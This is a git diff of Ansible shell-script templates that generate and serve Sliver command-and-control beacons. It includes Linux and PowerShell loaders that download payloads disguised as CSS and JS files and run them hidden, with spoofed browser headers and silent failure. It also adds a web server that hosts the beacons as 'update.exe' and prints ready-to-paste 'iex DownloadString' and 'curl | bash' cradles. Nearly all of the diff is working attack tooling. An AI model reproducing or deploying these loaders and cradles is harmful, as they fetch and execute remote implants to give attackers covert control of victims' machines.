diff --git a/templates/generate_evasive_beacons.sh.j2 b/templates/generate_evasive_beacons.sh.j2 index 85fbe3e..570d296 100644 --- a/templates/generate_evasive_beacons.sh.j2 +++ b/templates/generate_evasive_beacons.sh.j2 @@ -4,9 +4,8 @@ # Configuration (automatically populated by Ansible) BEACONS_DIR="/opt/beacons" C2_HOST="{{ ansible_host }}" -REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" +REDIRECTOR_HOST="cdn.{{ domain }}" REDIRECTOR_PORT="{{ redirector_port | default('443') }}" -TEMP_DIR=$(mktemp -d) # Ensure required directories exist mkdir -p $BEACONS_DIR/staged @@ -100,36 +99,63 @@ stager_win=$(random_output_name "windows") sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" -# Create loader scripts with redirector integration -echo "#!/bin/bash -# Loader script for Linux beacon -curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update -chmod +x /tmp/linux_update -/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh" -chmod +x "$BEACONS_DIR/linux_loader.sh" - -# Create PowerShell stager with improved OPSEC -cat > "$BEACONS_DIR/windows_loader.ps1" << EOF -# Windows PowerShell Beacon Loader -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -\$ErrorActionPreference = "SilentlyContinue" -\$wc = New-Object System.Net.WebClient -\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") -\$url = "https://$REDIRECTOR_HOST/static/js/update.js" -\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe" -try { - \$wc.DownloadFile(\$url, \$outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - Start-Process -WindowStyle Hidden -FilePath \$outpath -} catch { - # Fail silently +# Create a manifest file for the serve-beacons.sh script to use +cat > "$BEACONS_DIR/manifest.json" << EOF +{ + "windows_exe": "$win_output", + "windows_dll": "$dll_output", + "linux_binary": "$linux_output", + "macos_binary": "$mac_output", + "windows_stager": "staged/$stager_win", + "win_profile": "$win_profile", + "dll_profile": "$dll_profile", + "linux_profile": "$linux_profile", + "mac_profile": "$mac_profile", + "stager_profile": "$stager_profile", + "redirector_host": "$REDIRECTOR_HOST", + "redirector_port": "$REDIRECTOR_PORT", + "c2_host": "$C2_HOST", + "generated_date": "$(date)" } EOF +# Create loader scripts with redirector integration +cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX' +#!/bin/bash +# Loader script for Linux beacon +curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update +chmod +x /tmp/linux_update +/tmp/linux_update & +EOFLINUX + +# Replace placeholder with actual redirector host +sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh" +chmod +x "$BEACONS_DIR/linux_loader.sh" + +# Create PowerShell stager with improved OPSEC +cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS' +# Windows PowerShell Beacon Loader +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +$ErrorActionPreference = "SilentlyContinue" +$wc = New-Object System.Net.WebClient +$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/") +$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js" +$outpath = "$env:TEMP\update-$(New-Guid).exe" +try { + $wc.DownloadFile($url, $outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath $outpath +} catch { + # Fail silently +} +EOFPS + +# Replace placeholder with actual redirector host +sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1" + # Create index of generated files -echo "[+] Creating reference file with beacon details" cat > "$BEACONS_DIR/reference.txt" << EOF C2 Server Details: - C2 IP: $C2_HOST @@ -150,6 +176,5 @@ Usage: IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT EOF -# Cleanup temporary files -rm -rf $TEMP_DIR -echo "[+] Beacon generation with redirector integration complete" \ No newline at end of file +echo "[+] Beacon generation with redirector integration complete" +echo "[+] Run serve-beacons.sh to start serving these Sliver beacons" \ No newline at end of file diff --git a/templates/serve-beacons.sh.j2 b/templates/serve-beacons.sh.j2 new file mode 100644 index 0000000..183b7b2 --- /dev/null +++ b/templates/serve-beacons.sh.j2 @@ -0,0 +1,197 @@ +#!/bin/bash +# Script to serve Sliver beacons generated by generate_evasive_beacons.sh + +# Configuration +BEACONS_DIR="/opt/beacons" +C2_HOST="{{ ansible_host }}" +LISTEN_PORT=8443 + +# Check if manifest file exists (created by generate_evasive_beacons.sh) +if [ -f "$BEACONS_DIR/manifest.json" ]; then + echo "[+] Found beacon manifest file - using Sliver beacons generated previously" + # Extract beacon paths from manifest + WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json") + WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json") + LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json") + MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json") + WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json") + + # Print beacon info + echo "[+] Using these Sliver beacons:" + echo " - Windows EXE: $WIN_EXE" + echo " - Windows DLL: $WIN_DLL" + echo " - Linux Binary: $LINUX_BIN" + echo " - macOS Binary: $MAC_BIN" + echo " - Windows Stager: $WIN_STAGER" +else + echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first." + echo "[!] Will search for beacons in $BEACONS_DIR..." + + # Try to find beacons directly + WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1) + WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1) + LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1) + MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1) + WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1) + + # Check if we found any beacons + if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then + echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first." + exit 1 + fi +fi + +# Create temporary directory for web server +TEMP_DIR=$(mktemp -d) +mkdir -p $TEMP_DIR/downloads +mkdir -p $TEMP_DIR/scripts + +# Copy beacons to web directory with generic names +if [ -n "$WIN_EXE" ]; then + cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe + echo "[+] Serving Windows EXE: $WIN_EXE" +fi + +if [ -n "$WIN_DLL" ]; then + cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll + echo "[+] Serving Windows DLL: $WIN_DLL" +fi + +if [ -n "$LINUX_BIN" ]; then + cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux + echo "[+] Serving Linux Binary: $LINUX_BIN" +fi + +if [ -n "$MAC_BIN" ]; then + cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac + echo "[+] Serving macOS Binary: $MAC_BIN" +fi + +if [ -n "$WIN_STAGER" ]; then + cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe + echo "[+] Serving Windows Stager: $WIN_STAGER" +fi + +# Copy loader scripts if they exist +if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then + cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/ + echo "[+] Serving Windows PowerShell loader" +fi + +if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then + cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/ + echo "[+] Serving Linux bash loader" +fi + +# Create additional PowerShell downloader script +cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS' +# PowerShell downloader for Sliver beacons +$ErrorActionPreference = 'SilentlyContinue' +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 + +# Random temporary file +$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe") + +# Download and execute +try { + $webClient = New-Object System.Net.WebClient + $webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + $webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile) + Start-Process -WindowStyle Hidden $tempFile + "Successfully downloaded and executed update." +} catch { + "Error during update process." +} +EOFPS + +# Replace placeholders +sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1 +sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1 + +# Create Linux bash download script +cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH' +#!/bin/bash +# Linux download and execute Sliver beacon + +# Download binary to /tmp with random name +TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" +curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux +chmod +x $TMPFILE + +# Execute in background +$TMPFILE & + +echo "Update complete." +EOFSH + +# Replace placeholders +sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh +sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh +chmod +x $TEMP_DIR/scripts/beacon.sh + +# Create helpful index page +cat > $TEMP_DIR/index.html << EOL + + +
+Windows PowerShell:
+powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"
+ Linux Bash:
+curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash
+